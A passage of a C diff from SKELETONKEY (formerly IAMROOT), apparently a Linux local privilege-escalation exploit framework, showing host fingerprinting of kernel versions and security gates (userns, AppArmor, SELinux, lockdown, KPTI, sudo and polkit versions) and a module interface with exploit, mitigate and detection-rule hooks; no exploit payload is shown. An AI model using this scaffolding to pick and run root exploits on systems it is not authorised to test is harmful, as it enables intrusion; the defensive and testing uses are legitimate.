snprintf(h->nodename, sizeof h->nodename,
|
||||||
|
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
|
||||||
|
}
|
||||||
|
/* kernel_version_current owns the static release-string buffer
|
||||||
|
* and the parser — reuse it to keep one source of truth. */
|
||||||
|
kernel_version_current(&h->kernel);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_distro(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
snprintf(h->distro_id, sizeof h->distro_id, "?");
|
||||||
|
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
|
||||||
|
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
|
||||||
|
|
||||||
|
FILE *f = fopen("/etc/os-release", "r");
|
||||||
|
if (!f) return;
|
||||||
|
char line[256];
|
||||||
|
while (fgets(line, sizeof line, f)) {
|
||||||
|
if (strncmp(line, "ID=", 3) == 0)
|
||||||
|
parse_os_release_value(line + 3,
|
||||||
|
h->distro_id, sizeof h->distro_id);
|
||||||
|
else if (strncmp(line, "VERSION_ID=", 11) == 0)
|
||||||
|
parse_os_release_value(line + 11,
|
||||||
|
h->distro_version_id, sizeof h->distro_version_id);
|
||||||
|
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
|
||||||
|
parse_os_release_value(line + 12,
|
||||||
|
h->distro_pretty, sizeof h->distro_pretty);
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_user(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
h->euid = geteuid();
|
||||||
|
h->egid = getegid();
|
||||||
|
h->is_root = (h->euid == 0);
|
||||||
|
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
|
||||||
|
|
||||||
|
h->username[0] = '\0';
|
||||||
|
struct passwd *pw = getpwuid(h->euid);
|
||||||
|
if (pw && pw->pw_name)
|
||||||
|
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
|
||||||
|
|
||||||
|
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
|
||||||
|
* discover the outer uid if we're inside a user namespace. Format
|
||||||
|
*
|
||||||
|
* "0 0 4294967295" → init ns, outer == 0
|
||||||
|
* "0 1000 1" → userns mapped, outer == 1000
|
||||||
|
*
|
||||||
|
* Only trust outer != 0 and != -1 as the bypass-userns case. */
|
||||||
|
h->real_uid = h->euid;
|
||||||
|
int fd = open("/proc/self/uid_map", O_RDONLY);
|
||||||
|
if (fd >= 0) {
|
||||||
|
char buf[256];
|
||||||
|
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||||
|
close(fd);
|
||||||
|
if (n > 0) {
|
||||||
|
buf[n] = '\0';
|
||||||
|
int inner = -1, outer = -1, count = 0;
|
||||||
|
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
|
||||||
|
inner == 0 && outer > 0)
|
||||||
|
h->real_uid = (uid_t)outer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_platform_family(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
#ifdef __linux__
|
||||||
|
h->is_linux = true;
|
||||||
|
#else
|
||||||
|
h->is_linux = false;
|
||||||
|
#endif
|
||||||
|
h->is_debian_family = path_exists("/etc/debian_version");
|
||||||
|
h->is_rpm_family = path_exists("/etc/redhat-release") ||
|
||||||
|
path_exists("/etc/fedora-release") ||
|
||||||
|
path_exists("/etc/rocky-release") ||
|
||||||
|
path_exists("/etc/almalinux-release");
|
||||||
|
h->is_arch_family = path_exists("/etc/arch-release");
|
||||||
|
h->is_suse_family = path_exists("/etc/SuSE-release") ||
|
||||||
|
path_exists("/etc/SUSE-brand");
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
|
||||||
|
static bool userns_probe(void)
|
||||||
|
{
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) return false;
|
||||||
|
if (pid == 0) {
|
||||||
|
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
|
||||||
|
}
|
||||||
|
int st;
|
||||||
|
if (waitpid(pid, &st, 0) < 0) return false;
|
||||||
|
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void populate_caps(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
h->unprivileged_userns_allowed = false;
|
||||||
|
h->apparmor_restrict_userns = false;
|
||||||
|
h->unprivileged_bpf_disabled = false;
|
||||||
|
h->kpti_enabled = false;
|
||||||
|
h->kernel_lockdown_active = false;
|
||||||
|
h->selinux_enforcing = false;
|
||||||
|
h->yama_ptrace_restricted = false;
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
h->unprivileged_userns_allowed = userns_probe();
|
||||||
|
|
||||||
|
int v = 0;
|
||||||
|
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
|
||||||
|
h->apparmor_restrict_userns = (v != 0);
|
||||||
|
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
|
||||||
|
h->unprivileged_bpf_disabled = (v != 0);
|
||||||
|
if (read_int_file("/sys/fs/selinux/enforce", &v))
|
||||||
|
h->selinux_enforcing = (v != 0);
|
||||||
|
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
|
||||||
|
h->yama_ptrace_restricted = (v > 0);
|
||||||
|
|
||||||
|
char buf[256];
|
||||||
|
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
|
||||||
|
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||||
|
|
||||||
|
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||||
|
* — whichever level is bracketed is the active one. */
|
||||||
|
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
|
||||||
|
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_services(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
h->has_systemd = path_exists("/run/systemd/system");
|
||||||
|
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
|
||||||
|
* copy up to (cap - 1) bytes into dst. Returns true iff popen
|
||||||
|
* succeeded, the command exited 0, and we got at least one line.
|
||||||
|
* Used for sudo/pkexec/packagekitd version parsing at startup. */
|
||||||
|
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
|
||||||
|
{
|
||||||
|
dst[0] = '\0';
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char buf[256];
|
||||||
|
bool got = (fgets(buf, sizeof buf, p) != NULL);
|
||||||
|
int rc = pclose(p);
|
||||||
|
if (!got || rc != 0) return false;
|
||||||
|
size_t L = strlen(buf);
|
||||||
|
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
|
||||||
|
buf[--L] = '\0';
|
||||||
|
if (L >= cap) L = cap - 1;
|
||||||
|
memcpy(dst, buf, L);
|
||||||
|
dst[L] = '\0';
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Extract the version-string token from a line of the form
|
||||||
|
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
|
||||||
|
* version token is everything from the first non-space after
|
||||||
|
* `prefix` up to the next whitespace. Empty result when prefix not
|
||||||
|
* found. */
|
||||||
|
static void extract_version_after_prefix(const char *line,
|
||||||
|
const char *prefix,
|
||||||
|
char *dst, size_t cap)
|
||||||
|
{
|
||||||
|
dst[0] = '\0';
|
||||||
|
const char *p = strstr(line, prefix);
|
||||||
|
if (!p) return;
|
||||||
|
p += strlen(prefix);
|
||||||
|
while (*p == ' ' || *p == ':' || *p == '\t') p++;
|
||||||
|
size_t i = 0;
|
||||||
|
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
|
||||||
|
dst[i++] = *p++;
|
||||||
|
dst[i] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_userspace_versions(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
h->sudo_version[0] = '\0';
|
||||||
|
h->polkit_version[0] = '\0';
|
||||||
|
|
||||||
|
char line[256];
|
||||||
|
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
|
||||||
|
extract_version_after_prefix(line, "Sudo version",
|
||||||
|
h->sudo_version, sizeof h->sudo_version);
|
||||||
|
|
||||||
|
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
|
||||||
|
extract_version_after_prefix(line, "pkexec version",
|
||||||
|
h->polkit_version, sizeof h->polkit_version);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── public entrypoints ───────────────────────────────────────────── */
|
||||||
|
|
||||||
|
const struct skeletonkey_host *skeletonkey_host_get(void)
|
||||||
|
{
|
||||||
|
if (g_host_ready) return &g_host;
|
||||||
|
|
||||||
|
memset(&g_host, 0, sizeof g_host);
|
||||||
|
populate_kernel(&g_host);
|
||||||
|
populate_distro(&g_host);
|
||||||
|
populate_user(&g_host);
|
||||||
|
populate_platform_family(&g_host);
|
||||||
|
populate_caps(&g_host);
|
||||||
|
populate_services(&g_host);
|
||||||
|
populate_userspace_versions(&g_host);
|
||||||
|
g_host.probe_source = "skeletonkey core/host.c";
|
||||||
|
g_host_ready = true;
|
||||||
|
return &g_host;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||||
|
int major, int minor, int patch)
|
||||||
|
{
|
||||||
|
if (!h || h->kernel.major == 0)
|
||||||
|
return false;
|
||||||
|
if (h->kernel.major != major) return h->kernel.major > major;
|
||||||
|
if (h->kernel.minor != minor) return h->kernel.minor > minor;
|
||||||
|
return h->kernel.patch >= patch;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||||
|
int lo_M, int lo_m, int lo_p,
|
||||||
|
int hi_M, int hi_m, int hi_p)
|
||||||
|
{
|
||||||
|
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
|
||||||
|
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
|
||||||
|
}
|
||||||
|
|
||||||
|
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
|
||||||
|
{
|
||||||
|
if (json || h == NULL) return;
|
||||||
|
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
|
||||||
|
h->nodename[0] ? h->nodename : "?",
|
||||||
|
h->is_root ? " (ROOT)" : "",
|
||||||
|
h->is_ssh_session ? " (SSH)" : "",
|
||||||
|
h->kernel.release ? h->kernel.release : "?",
|
||||||
|
h->arch[0] ? h->arch : "?",
|
||||||
|
h->distro_id[0] ? h->distro_id : "?",
|
||||||
|
h->distro_version_id[0] ? h->distro_version_id : "?");
|
||||||
|
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
|
||||||
|
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
|
||||||
|
h->unprivileged_userns_allowed ? "yes" : "no",
|
||||||
|
h->apparmor_restrict_userns ? "on" : "off",
|
||||||
|
h->unprivileged_bpf_disabled ? "yes" : "no",
|
||||||
|
h->kpti_enabled ? "on" : "off",
|
||||||
|
h->kernel_lockdown_active ? "on" : "off",
|
||||||
|
h->selinux_enforcing ? "on" : "off",
|
||||||
|
h->yama_ptrace_restricted ? "yes" : "no");
|
||||||
|
if (h->sudo_version[0] || h->polkit_version[0])
|
||||||
|
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
|
||||||
|
h->sudo_version[0] ? h->sudo_version : "-",
|
||||||
|
h->polkit_version[0] ? h->polkit_version : "-");
|
||||||
|
}
|
||||||
+137
@@ -0,0 +1,137 @@
|
|||||||
|
/*
|
||||||
|
* SKELETONKEY — host fingerprint
|
||||||
|
*
|
||||||
|
* Populated once at startup, before any module's detect() runs. Every
|
||||||
|
* module receives a stable pointer via skeletonkey_ctx.host and can
|
||||||
|
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
|
||||||
|
* forking another userns probe.
|
||||||
|
*
|
||||||
|
* The struct is deliberately POD (no heap pointers, fixed-size
|
||||||
|
* arrays) so lifetime reasoning is trivial. A single static instance
|
||||||
|
* lives in core/host.c; skeletonkey_host_get() returns the same
|
||||||
|
* pointer on every call. The first call probes; subsequent calls
|
||||||
|
* are O(1) lookups.
|
||||||
|
*
|
||||||
|
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
|
||||||
|
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
|
||||||
|
* "?" defaults. Probing is best-effort: a missing sysctl never fails
|
||||||
|
* the call, just leaves the corresponding bool false.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SKELETONKEY_HOST_H
|
||||||
|
#define SKELETONKEY_HOST_H
|
||||||
|
|
||||||
|
#include "kernel_range.h"
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
struct skeletonkey_host {
|
||||||
|
/* ── identity ─────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
struct kernel_version kernel; /* uname.release parsed */
|
||||||
|
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
|
||||||
|
char nodename[64]; /* uname.nodename (for log lines) */
|
||||||
|
|
||||||
|
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
|
||||||
|
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
|
||||||
|
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
|
||||||
|
|
||||||
|
/* ── process state ─────────────────────────────────────────── */
|
||||||
|
|
||||||
|
uid_t euid; /* geteuid() */
|
||||||
|
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
|
||||||
|
gid_t egid; /* getegid() */
|
||||||
|
char username[64]; /* getpwuid(euid)->pw_name or "" */
|
||||||
|
bool is_root; /* euid == 0 */
|
||||||
|
bool is_ssh_session; /* SSH_CONNECTION env var set */
|
||||||
|
|
||||||
|
/* ── platform family ───────────────────────────────────────── */
|
||||||
|
|
||||||
|
bool is_linux; /* compiled / running on Linux */
|
||||||
|
bool is_debian_family; /* /etc/debian_version exists */
|
||||||
|
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
|
||||||
|
bool is_arch_family; /* /etc/arch-release */
|
||||||
|
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
|
||||||
|
|
||||||
|
/* ── capability / gate flags (Linux) ──────────────────────── */
|
||||||
|
|
||||||
|
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
|
||||||
|
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||||
|
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||||
|
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||||
|
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||||
|
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||||
|
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||||
|
|
||||||
|
/* ── system services ──────────────────────────────────────── */
|
||||||
|
|
||||||
|
bool has_systemd; /* /run/systemd/system exists */
|
||||||
|
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
|
||||||
|
|
||||||
|
/* ── userspace component versions ─────────────────────────
|
||||||
|
* Parsed once at startup via popen() of the relevant binary's
|
||||||
|
* --version output. Empty string ("") means "tool not installed
|
||||||
|
* or version parse failed" — modules should treat that as
|
||||||
|
* PRECOND_FAIL (no exploit target). The exact format mirrors
|
||||||
|
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
|
||||||
|
* 0.105`, …); modules do their own range parsing. */
|
||||||
|
char sudo_version[64]; /* "1.9.13p1" or "" */
|
||||||
|
char polkit_version[64]; /* "0.105" or "126" or "" */
|
||||||
|
|
||||||
|
/* Informational: the SKELETONKEY component that populated this
|
||||||
|
* snapshot (for log/JSON output). */
|
||||||
|
const char *probe_source;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Get the host fingerprint. Returns a stable, non-null pointer that
|
||||||
|
* lives for the process lifetime. Probes happen lazily on the first
|
||||||
|
* call (~50ms; dominated by the userns fork-probe), are cached, and
|
||||||
|
* subsequent calls are free.
|
||||||
|
*
|
||||||
|
* Probing is best-effort: missing files / unsupported sysctls leave
|
||||||
|
* the corresponding bool false. The function does not fail. */
|
||||||
|
const struct skeletonkey_host *skeletonkey_host_get(void);
|
||||||
|
|
||||||
|
/* Print a two-line "host fingerprint" banner to stderr suitable for
|
||||||
|
* --auto / --scan verbose output. Silent on JSON mode. */
|
||||||
|
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
|
||||||
|
|
||||||
|
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
|
||||||
|
* false if h is NULL or its kernel version was never populated (major
|
||||||
|
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
|
||||||
|
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
|
||||||
|
* and one place to get the comparison right.
|
||||||
|
*
|
||||||
|
* Examples:
|
||||||
|
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
|
||||||
|
* return SKELETONKEY_OK;
|
||||||
|
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
|
||||||
|
* return SKELETONKEY_OK;
|
||||||
|
*/
|
||||||
|
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||||
|
int major, int minor, int patch);
|
||||||
|
|
||||||
|
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
|
||||||
|
* gates where the simple `kernel_range_is_patched` backport model
|
||||||
|
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
|
||||||
|
* in W.Z, or a per-module "vulnerable only on these specific kernel
|
||||||
|
* lines" check.
|
||||||
|
*
|
||||||
|
* Equivalent to:
|
||||||
|
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
|
||||||
|
*
|
||||||
|
* For "predates the bug" alone use host_kernel_at_least directly; the
|
||||||
|
* `in_range` form is for the bounded interval case.
|
||||||
|
*
|
||||||
|
* Example:
|
||||||
|
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
|
||||||
|
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
|
||||||
|
* // introduction/fix dates (ignoring stable backports)
|
||||||
|
*/
|
||||||
|
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||||
|
int lo_major, int lo_minor, int lo_patch,
|
||||||
|
int hi_major, int hi_minor, int hi_patch);
|
||||||
|
|
||||||
|
#endif /* SKELETONKEY_HOST_H */
|
||||||
+2
-2
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — kernel_range implementation
|
* SKELETONKEY — kernel_range implementation
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "kernel_range.h"
|
#include "kernel_range.h"
|
||||||
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
|
|||||||
if (uname(&u) < 0) return false;
|
if (uname(&u) < 0) return false;
|
||||||
|
|
||||||
/* Stash release string for callers that want to print it. We hold
|
/* Stash release string for callers that want to print it. We hold
|
||||||
* a single static buffer; not threadsafe but iamroot is single-
|
* a single static buffer; not threadsafe but skeletonkey is single-
|
||||||
* threaded today. */
|
* threaded today. */
|
||||||
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
|
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
|
||||||
out->release = g_release_buf;
|
out->release = g_release_buf;
|
||||||
|
|||||||
+4
-4
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — kernel version range matching
|
* SKELETONKEY — kernel version range matching
|
||||||
*
|
*
|
||||||
* Every CVE module needs to answer "is the host kernel in the affected
|
* Every CVE module needs to answer "is the host kernel in the affected
|
||||||
* range?". This file centralizes that.
|
* range?". This file centralizes that.
|
||||||
@@ -17,8 +17,8 @@
|
|||||||
* patch version is at or above the threshold.
|
* patch version is at or above the threshold.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_KERNEL_RANGE_H
|
#ifndef SKELETONKEY_KERNEL_RANGE_H
|
||||||
#define IAMROOT_KERNEL_RANGE_H
|
#define SKELETONKEY_KERNEL_RANGE_H
|
||||||
|
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
|
|||||||
bool kernel_range_is_patched(const struct kernel_range *r,
|
bool kernel_range_is_patched(const struct kernel_range *r,
|
||||||
const struct kernel_version *v);
|
const struct kernel_version *v);
|
||||||
|
|
||||||
#endif /* IAMROOT_KERNEL_RANGE_H */
|
#endif /* SKELETONKEY_KERNEL_RANGE_H */
|
||||||
|
|||||||
+43
-33
@@ -1,59 +1,69 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — core module interface
|
* SKELETONKEY — core module interface
|
||||||
*
|
*
|
||||||
* Every CVE module exports one or more `struct iamroot_module` entries
|
* Every CVE module exports one or more `struct skeletonkey_module` entries
|
||||||
* via a registry function. The top-level dispatcher (iamroot.c) walks
|
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
|
||||||
* the global registry to implement --scan, --exploit, --mitigate, etc.
|
* the global registry to implement --scan, --exploit, --mitigate, etc.
|
||||||
*
|
*
|
||||||
* This is intentionally a small interface. Modules carry the
|
* This is intentionally a small interface. Modules carry the
|
||||||
* complexity; the dispatcher just routes.
|
* complexity; the dispatcher just routes.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_MODULE_H
|
#ifndef SKELETONKEY_MODULE_H
|
||||||
#define IAMROOT_MODULE_H
|
#define SKELETONKEY_MODULE_H
|
||||||
|
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
|
||||||
/* Standard result codes returned by detect()/exploit()/mitigate().
|
/* Standard result codes returned by detect()/exploit()/mitigate().
|
||||||
*
|
*
|
||||||
* These map to top-level exit codes when iamroot is invoked with a
|
* These map to top-level exit codes when skeletonkey is invoked with a
|
||||||
* single-module operation:
|
* single-module operation:
|
||||||
*
|
*
|
||||||
* IAMROOT_OK exit 0 detect: not vulnerable / clean
|
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
|
||||||
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
|
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||||
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
|
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||||
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
|
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
|
||||||
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||||
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||||
*
|
*
|
||||||
* Implementation note: copy_fail_family's df_result_t shares these
|
* Implementation note: copy_fail_family's df_result_t shares these
|
||||||
* numeric values intentionally so the family code can return its
|
* numeric values intentionally so the family code can return its
|
||||||
* existing constants without translation.
|
* existing constants without translation.
|
||||||
*/
|
*/
|
||||||
typedef enum {
|
typedef enum {
|
||||||
IAMROOT_OK = 0,
|
SKELETONKEY_OK = 0,
|
||||||
IAMROOT_TEST_ERROR = 1,
|
SKELETONKEY_TEST_ERROR = 1,
|
||||||
IAMROOT_VULNERABLE = 2,
|
SKELETONKEY_VULNERABLE = 2,
|
||||||
IAMROOT_EXPLOIT_FAIL = 3,
|
SKELETONKEY_EXPLOIT_FAIL = 3,
|
||||||
IAMROOT_PRECOND_FAIL = 4,
|
SKELETONKEY_PRECOND_FAIL = 4,
|
||||||
IAMROOT_EXPLOIT_OK = 5,
|
SKELETONKEY_EXPLOIT_OK = 5,
|
||||||
} iamroot_result_t;
|
} skeletonkey_result_t;
|
||||||
|
|
||||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
/* Per-invocation context passed to module callbacks. The host
|
||||||
* now; will grow as modules need shared state (host fingerprint,
|
* fingerprint (kernel / distro / capability gates / service presence)
|
||||||
* leaked kbase, etc.). */
|
* is populated once at startup by core/host.c and handed to every
|
||||||
struct iamroot_ctx {
|
* module callback here — see core/host.h. */
|
||||||
|
struct skeletonkey_host; /* forward decl; full def in core/host.h */
|
||||||
|
|
||||||
|
struct skeletonkey_ctx {
|
||||||
bool no_color; /* --no-color */
|
bool no_color; /* --no-color */
|
||||||
bool json; /* --json (machine-readable output) */
|
bool json; /* --json (machine-readable output) */
|
||||||
bool active_probe; /* --active (do invasive probes in detect) */
|
bool active_probe; /* --active (do invasive probes in detect) */
|
||||||
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
||||||
bool authorized; /* user typed --i-know on exploit */
|
bool authorized; /* user typed --i-know on exploit */
|
||||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||||
|
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
|
||||||
|
|
||||||
|
/* Host fingerprint — see core/host.h. Stable pointer, populated
|
||||||
|
* once by main() before any module callback runs. Modules that
|
||||||
|
* want to consult it #include "../../core/host.h". May be NULL
|
||||||
|
* only in degenerate test contexts; main() always sets it. */
|
||||||
|
const struct skeletonkey_host *host;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct iamroot_module {
|
struct skeletonkey_module {
|
||||||
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
|
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
|
||||||
const char *name;
|
const char *name;
|
||||||
|
|
||||||
/* CVE identifier (or "VARIANT" if no CVE assigned). */
|
/* CVE identifier (or "VARIANT" if no CVE assigned). */
|
||||||
@@ -71,20 +81,20 @@ struct iamroot_module {
|
|||||||
const char *kernel_range;
|
const char *kernel_range;
|
||||||
|
|
||||||
/* Probe the host. Should be side-effect-free unless ctx->active_probe
|
/* Probe the host. Should be side-effect-free unless ctx->active_probe
|
||||||
* is true. Return IAMROOT_VULNERABLE if confirmed,
|
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
|
||||||
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
|
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
|
||||||
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
|
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
|
||||||
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
|
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
/* Run the exploit. Caller has already passed the --i-know gate. */
|
/* Run the exploit. Caller has already passed the --i-know gate. */
|
||||||
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
|
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
/* Apply a temporary mitigation. NULL if none offered. */
|
/* Apply a temporary mitigation. NULL if none offered. */
|
||||||
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
|
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
|
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
|
||||||
* effects. NULL if no cleanup applies. */
|
* effects. NULL if no cleanup applies. */
|
||||||
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
|
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
/* Detection rule corpus — embedded so the binary is self-
|
/* Detection rule corpus — embedded so the binary is self-
|
||||||
* contained. Each may be NULL if this module ships no rules for
|
* contained. Each may be NULL if this module ships no rules for
|
||||||
@@ -96,4 +106,4 @@ struct iamroot_module {
|
|||||||
const char *detect_falco; /* falco rules content */
|
const char *detect_falco; /* falco rules content */
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif /* IAMROOT_MODULE_H */
|
#endif /* SKELETONKEY_MODULE_H */
|
||||||
|
|||||||
+22
-22
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — kernel offset resolution
|
* SKELETONKEY — kernel offset resolution
|
||||||
*
|
*
|
||||||
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
||||||
* → embedded table). This implementation is deliberately small and
|
* → embedded table). This implementation is deliberately small and
|
||||||
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
|
|||||||
#define DEFAULT_CRED_EFF_OFFSET 0x740
|
